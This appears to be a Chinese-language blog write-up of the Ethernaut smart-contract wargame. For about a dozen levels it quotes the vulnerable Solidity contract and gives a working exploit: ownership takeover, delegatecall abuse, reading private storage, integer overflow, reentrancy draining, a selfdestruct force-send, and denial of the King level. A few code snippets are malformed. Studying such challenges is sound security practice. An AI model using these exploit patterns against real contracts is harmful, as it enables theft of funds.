Hello Ethernaut 一些基本的操作交互指令熟悉熟悉即可
Fallback 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pragma solidity ^0.8 .0 ; contract Fallback { mapping (address => uint256) public contributions; address public owner; constructor ( ) { owner = msg.sender ; contributions[msg.sender ] = 1000 * (1 ether); } modifier onlyOwner ( ) { require (msg.sender == owner, "caller is not the owner" ); _; } function contribute ( ) public payable { require (msg.value < 0.001 ether); contributions[msg.sender ] += msg.value ; if (contributions[msg.sender ] > contributions[owner]) { owner = msg.sender ; } } function getContribution ( ) public view returns (uint256) { return contributions[msg.sender ]; } function withdraw ( ) public onlyOwner { payable (owner).transfer (address (this ).balance ); } receive () external payable { require (msg.value > 0 && contributions[msg.sender ] > 0 ); owner = msg.sender ; } }
首先看到contribute中贡献必须大于1000才能获得权限(次数很多手打也不现实哈哈),之后发现receive( )函数的require条件判断太简单了,只要value和contributions大于0就行,而withdraw直接清空了合约账户就是我们所需要的所以思路就很简单了。其他关于receive()的细节可以查看(https://docs.soliditylang.org/en/v0.8.23/contracts.html#receive-ether-function)其中写道一个合约中至多会有一个receive函数。 整个漏洞来看就是权限设置不完整
1 2 3 contract.contribute ({value :1 }) #提高我们的contribution contract.sendTransaction ({value :1 }) #触发receive获得权限 contract.withdraw () #清空账户
Telephone 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.8 .0 ; contract Telephone { address public owner; constructor ( ) { owner = msg.sender ; } function changeOwner (address _owner ) public { if (tx.origin != msg.sender ) { owner = _owner; } } }
tx.origin是合约的最开始的调用者是谁
msg.sender是当前合约的调用者是谁
msg.sender更改为不是当前合约的调用者,直接重新构造一个合约即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pragma solidity ^0.8 .0 ; contract Telephone { address public owner; constructor ( ) { owner = msg.sender ; } function changeOwner (address _owner ) public { if (tx.origin != msg.sender ) { owner = _owner; } } } contract exp { Telephone public interactContract; constructor (address _addr ) { interactContract = Telephone (_addr); } function forwardToTelephone ( ) public { interactContract.changeOwner (msg.sender ); } }
Fal1out 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.6 .0 ; import "openzeppelin-contracts-06/math/SafeMath.sol" ;contract Fallout { using SafeMath for uint256; mapping (address => uint256) allocations; address payable public owner; function Fal1out ( ) public payable { owner = msg.sender ; allocations[owner] = msg.value ; } modifier onlyOwner ( ) { require (msg.sender == owner, "caller is not the owner" ); _; } function allocate ( ) public payable { allocations[msg.sender ] = allocations[msg.sender ].add (msg.value ); } function sendAllocation (address payable allocator ) public { require (allocations[allocator] > 0 ); allocator.transfer (allocations[allocator]); } function collectAllocations ( ) public onlyOwner { msg.sender .transfer (address (this ).balance ); } function allocatorBalance (address allocator ) public view returns (uint256) { return allocations[allocator]; } }
看了半天没懂以为函数其中有很多玄机,不敢相信直接contract.Fal1out()就行(没看到为啥特意再Fal1out()上写一个constructor还以为什么特别构造函数),结果试了一下还真是:)
Coin Flip 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 pragma solidity ^0.8 .0 ; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; constructor ( ) { consecutiveWins = 0 ; } function flip (bool _guess ) public returns (bool) { uint256 blockValue = uint256 (blockhash (block.number - 1 )); if (lastHash == blockValue) { revert (); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR ; bool side = coinFlip == 1 ? true : false ; if (side == _guess) { consecutiveWins++; return true ; } else { consecutiveWins = 0 ; return false ; } } } contract exp { CoinFlip public interactContract; constructor (address _addr ) { interactContract = CoinFlip (_addr); } function guess ( ) public { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; uint256 blockValue = uint256 (blockhash (block.number - 1 )); uint256 coinFlip = blockValue / FACTOR ; bool side = coinFlip == 1 ? true : false ; interactContract.flip (side); } }
blockhash
可以返回最近256个block的hash值,其他情况就会返回0,blockValue
是调用的blockhash获取上一个 block的hash值,由于合约部署在一个链上,所以每次值都可以计算,重新生成10次就行了
Token 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.6 .0 ; contract Token { mapping (address => uint256) balances; uint256 public totalSupply; constructor (uint256 _initialSupply ) public { balances[msg.sender ] = totalSupply = _initialSupply; } function transfer (address _to, uint256 _value ) public returns (bool) { require (balances[msg.sender ] - _value >= 0 ); balances[msg.sender ] -= _value; balances[_to] += _value; return true ; } function balanceOf (address _owner ) public view returns (uint256 balance) { return balances[_owner]; }
搞了半天,我觉得思路没错啊,uint类型是无符号所以判断没用,直接发送就行了,但是我跑了很多遍都failed,我实例地址也确认了balance也还是0,麻了,看网上的exp没啥问题 注意的点就是0.6到0.8是没有safemath的,0.8以后底层就实现了safemath保证了数字不会溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pragma solidity ^0.6 .0 ; contract Token { mapping (address => uint) balances; uint public totalSupply; constructor (uint _initialSupply ) public { balances[msg.sender ] = totalSupply = _initialSupply; } function transfer (address _to, uint _value ) public returns (bool) { require (balances[msg.sender ] - _value >= 0 ); balances[msg.sender ] -= _value; balances[_to] += _value; return true ; } function balanceOf (address _owner ) public view returns (uint balance) { return balances[_owner]; } } contract exp { address addr; Token public interactContract; constructor (address _addr ) public { interactContract = Token (_addr); addr = _addr; } function overflow ( ) public { interactContract.transfer (0xa5fB9D934e33b56eD332a3337489e5F50F443931 , 5000 ); } }
Delegation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.8 .0 ; contract Delegate { address public owner; constructor (address _owner ) { owner = _owner; } function pwn ( ) public { owner = msg.sender ; } } contract Delegation { address public owner; Delegate delegate; constructor (address _delegateAddress ) { delegate = Delegate (_delegateAddress); owner = msg.sender ; } fallback () external { (bool result,) = address (delegate).delegatecall (msg.data ); if (result) { this ; } } }
文档里面提示了delegatecall函数,网上一搜结果提示为是一种外部函数调用的方法,但是数据是利用当前合约的上下文数据,同时注意delegatecall中间调用有一个函数选择器它是一个SHA3,获取结果的前4比特就行(看到pwn还是有点熟悉哈哈)
1 contract.sendTransaction ({data: web3.utils.sha3 ("pwn()" ).slice (0 , 10 )})
Force 1 2 3 4 5 6 7 8 9 10 pragma solidity ^0.8 .0 ; contract Force { }
一个合约没有receive也没有具有payable属性的fallback函数的时候,调用selfdestruct(payable(_addr))会将合约余额转到到指定地址(而且根据网上的资料显示摧毁合约这个函数的优先级还比较高)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pragma solidity ^0.8 .0 ; contract Force { } contract exp { Force public victim; constructor (address _addr ) { victim = Force (_addr); } function pwn ( ) public { selfdestruct (payable (address (victim))); } function getba ( ) public view returns (uint256){ return address (this ).balance ; } }
Valut 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pragma solidity ^0.8 .0 ; contract Vault { bool public locked; bytes32 private password; constructor (bytes32 _password ) { locked = true ; password = _password; } function unlock (bytes32 _password ) public { if (password == _password) { locked = false ; } } }
在官方文档中写道(https://docs.soliditylang.org/en/v0.8.23/internals/layout_in_storage.html )
1 State variables of contracts are stored in storage in a compact way such that multiple values sometimes use the same storage slot. Except for dynamically-sized arrays and mappings (see below), data is stored contiguously item after item starting with the first state variable, which is stored in slot `0`
合约的变量会连续地储存在一个slot变量中,并且从下标0开始(和x86的变量存储都挺像的哈哈) remix的compiler也可以看到变量信息(从本次实验中也知道合作中的变量是不安全的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 { "storage" : [ { "astId" : 3 , "contract" : "koin.sol:Vault" , "label" : "locked" , "offset" : 0 , "slot" : "0" , "type" : "t_bool" }, { "astId" : 5 , "contract" : "koin.sol:Vault" , "label" : "password" , "offset" : 0 , "slot" : "1" , "type" : "t_bytes32" } ], "types" : { "t_bool" : { "encoding" : "inplace" , "label" : "bool" , "numberOfBytes" : "1" }, "t_bytes32" : { "encoding" : "inplace" , "label" : "bytes32" , "numberOfBytes" : "32" } } }
1 web3.eth .getStorageAt ("合约地址" ",0);
King 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pragma solidity ^0.8 .0 ; contract King { address king; uint256 public prize; address public owner; constructor ( ) payable { owner = msg.sender ; king = msg.sender ; prize = msg.value ; } receive () external payable { require (msg.value >= prize || msg.sender == owner); payable (king).transfer (msg.value ); king = msg.sender ; prize = msg.value ; } function _king ( ) public view returns (address) { return king; } }
require里面有一个后门判断msg.sender == owner 导致提交实例以后都会被替换为king,因为程序的流程是先对合约进行转账及transfer以后再king = msg.sender, 那么漏洞就在于我们可以截断后续的转账操作,利用收款后直接revert( )回滚操作,或者利用force中学习的selfdestruct( )销毁合约并将存款,提取到我们自己的账户也许 :>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pragma solidity ^0.8 .0 ; contract King { address king; uint public prize; address public owner; constructor ( ) payable { owner = msg.sender ; king = msg.sender ; prize = msg.value ; } receive () external payable { require (msg.value >= prize || msg.sender == owner); payable (king).transfer (msg.value ); king = msg.sender ; prize = msg.value ; } function _king ( ) public view returns (address) { return king; } } contract exp { King public interfaceKing; constructor (address payable _addr ) payable { interfaceKing = King (_addr); } function claim ( ) public { (bool success,) = payable (address (interfaceKing)).call {value : 0.001 ether}("" ); require (success, "claim failed" ); } receive () external payable { revert () } }
Re-entrancy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pragma solidity ^0.6 .12 ; import "openzeppelin-contracts-06/math/SafeMath.sol" ;contract Reentrance { using SafeMath for uint256; mapping (address => uint256) public balances; function donate (address _to ) public payable { balances[_to] = balances[_to].add (msg.value ); } function balanceOf (address _who ) public view returns (uint256 balance) { return balances[_who]; } function withdraw (uint256 _amount ) public { if (balances[msg.sender ] >= _amount) { (bool result,) = msg.sender .call {value : _amount}("" ); if (result) { _amount; } balances[msg.sender ] -= _amount; } } receive () external payable {} }
首先看到Re-entrancy知道这是重放攻击,再看到了safemath想起了之前uint整数溢出那道题了一看版本确实是0.6底层没有保护,在withdraw部分注意到先判断_amount之后再使用msg.sender.call{value:_amount}(“”)最后更新balances上的映射,这里就有一个问题如果先进行了转账操作再去维护映射,会导致call(“”)会触发对应合约的receive()函数,从而绕过_amount的验证进行递归调用 (有点类似与pwn中的堆利用里面漏洞)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 pragma solidity ^0.6 .12 ; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol" ;contract Reentrance { using SafeMath for uint256; mapping (address => uint) public balances; function donate (address _to ) public payable { balances[_to] = balances[_to].add (msg.value ); } function balanceOf (address _who ) public view returns (uint balance) { return balances[_who]; } function withdraw (uint _amount ) public { if (balances[msg.sender ] >= _amount) { (bool result,) = msg.sender .call {value :_amount}("" ); if (result) { _amount; } balances[msg.sender ] -= _amount; } } receive () external payable {} } contract exp { Reentrance public interfaceReentrance; constructor (address payable _addr ) public payable { interfaceReentrance = Reentrance (_addr); } function pwn ( ) public { interfaceReentrance.donate {value : 0.001 ether}(address (this )); interfaceReentrance.withdraw (0.001 ether); } receive () external payable { interfaceReentrance.withdraw (msg.value ); } }
Elevator 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.8 .0 ; interface Building { function isLastFloor (uint ) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo (uint _floor ) public { Building building = Building (msg.sender ); if (! building.isLastFloor (_floor)) { floor = _floor; top = building.isLastFloor (floor); } } }
看到interface Building中 function isLastFloor为一个external函数,而函数判断top的核心流程只有isLastFloor这个函数,直接构造一个isLastFloor函数返回false就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pragma solidity ^0.8 .0 ; interface Building { function isLastFloor (uint ) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo (uint _floor ) public { Building building = Building (msg.sender ); if (! building.isLastFloor (_floor)) { floor = _floor; top = building.isLastFloor (floor); } } } contract exp { uint public cnt = 0 ; Elevator public interfaceElevator; constructor (address _addr ) { interfaceElevator = Elevator (_addr); } function isLastFloor (uint ) public returns (bool) { cnt++; if (cnt % 2 == 1 ) { return false ; } function pwn ( ) public { interfaceElevator.goTo (114514 ); } }
Privacy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pragma solidity ^0.8 .0 ; contract Privacy { bool public locked = true ; uint256 public ID = block.timestamp ; uint8 private flattening = 10 ; uint8 private denomination = 255 ; uint16 private awkwardness = uint16 (block.timestamp ); bytes32[3 ] private data; constructor (bytes32[3 ] memory _data ) { data = _data; } function unlock (bytes16 _key ) public { require (_key == bytes16 (data[2 ])); locked = false ; } }
漏洞也是与前几题相似,读取内存中的内容再进行一个类型转换就行,和king的步骤类似 找了很久但是就是不对,突然想起来每个slot是有32位大小的限制,于是我又返回去看文档,果然
1 Multiple, contiguous items that need less than 32 bytes are packed into a single storage slot if possible, according to the following rules:
再看看反编译的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 { "storage" : [ { "astId" : 4 , "contract" : "koin.sol:Privacy" , "label" : "locked" , "offset" : 0 , "slot" : "0" , "type" : "t_bool" }, { "astId" : 8 , "contract" : "koin.sol:Privacy" , "label" : "ID" , "offset" : 0 , "slot" : "1" , "type" : "t_uint256" }, { "astId" : 11 , "contract" : "koin.sol:Privacy" , "label" : "flattening" , "offset" : 0 , "slot" : "2" , "type" : "t_uint8" }, { "astId" : 14 , "contract" : "koin.sol:Privacy" , "label" : "denomination" , "offset" : 1 , "slot" : "2" , "type" : "t_uint8" }, { "astId" : 21 , "contract" : "koin.sol:Privacy" , "label" : "awkwardness" , "offset" : 2 , "slot" : "2" , "type" : "t_uint16" }, { "astId" : 25 , "contract" : "koin.sol:Privacy" , "label" : "data" , "offset" : 0 , "slot" : "3" , "type" : "t_array(t_bytes32)3_storage" } ], "types" : { "t_array(t_bytes32)3_storage" : { "base" : "t_bytes32" , "encoding" : "inplace" , "label" : "bytes32[3]" , "numberOfBytes" : "96" }, "t_bool" : { "encoding" : "inplace" , "label" : "bool" , "numberOfBytes" : "1" }, "t_bytes32" : { "encoding" : "inplace" , "label" : "bytes32" , "numberOfBytes" : "32" }, "t_uint16" : { "encoding" : "inplace" , "label" : "uint16" , "numberOfBytes" : "2" }, "t_uint256" : { "encoding" : "inplace" , "label" : "uint256" , "numberOfBytes" : "32" }, "t_uint8" : { "encoding" : "inplace" , "label" : "uint8" , "numberOfBytes" : "1" } } }
看到data从第三个solt开始的,那么data[2]就是slot[5]
1 2 3 4 5 await web3.eth .getStorageAt ("0x51fD9cbb92fEf8eAd56761368518e96AC14863fc" , 5 )"0x8e3e5ecc0bc62093009ffe2ba493dafa7f4926694172a078e498e44f47699345" "0x8e3e5ecc0bc62093009ffe2ba493dafa7f4926694172a078e498e44f47699345" .slice (0 ,34 ) #大端序从左开始截断"0x8e3e5ecc0bc62093009ffe2ba493dafa" await contract.unlock ("0x8e3e5ecc0bc62093009ffe2ba493dafa" )
Gatekeeper One 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pragma solidity ^0.8 .0 ; contract GatekeeperOne { address public entrant; modifier gateOne ( ) { require (msg.sender != tx.origin ); _; } modifier gateTwo ( ) { require (gasleft () % 8191 == 0 ); _; } modifier gateThree (bytes8 _gateKey ) { require (uint32 (uint64 (_gateKey)) == uint16 (uint64 (_gateKey)), "GatekeeperOne: invalid gateThree part one" ); require (uint32 (uint64 (_gateKey)) != uint64 (_gateKey), "GatekeeperOne: invalid gateThree part two" ); require (uint32 (uint64 (_gateKey)) == uint16 (uint160 (tx.origin )), "GatekeeperOne: invalid gateThree part three" ); _; } function enter (bytes8 _gateKey ) public gateOne gateTwo gateThree (_gateKey) returns (bool) { entrant = tx.origin ; return true ; } }
等待施工 : )
相关: https://ethernaut.openzeppelin.com/level/0x7E0f53981657345B31C59aC44e9c21631Ce710c7 https://blog.csdn.net/ak19920601/article/details/135908265 https://remix.ethereum.org/#lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.25+commit.b61c2a91.js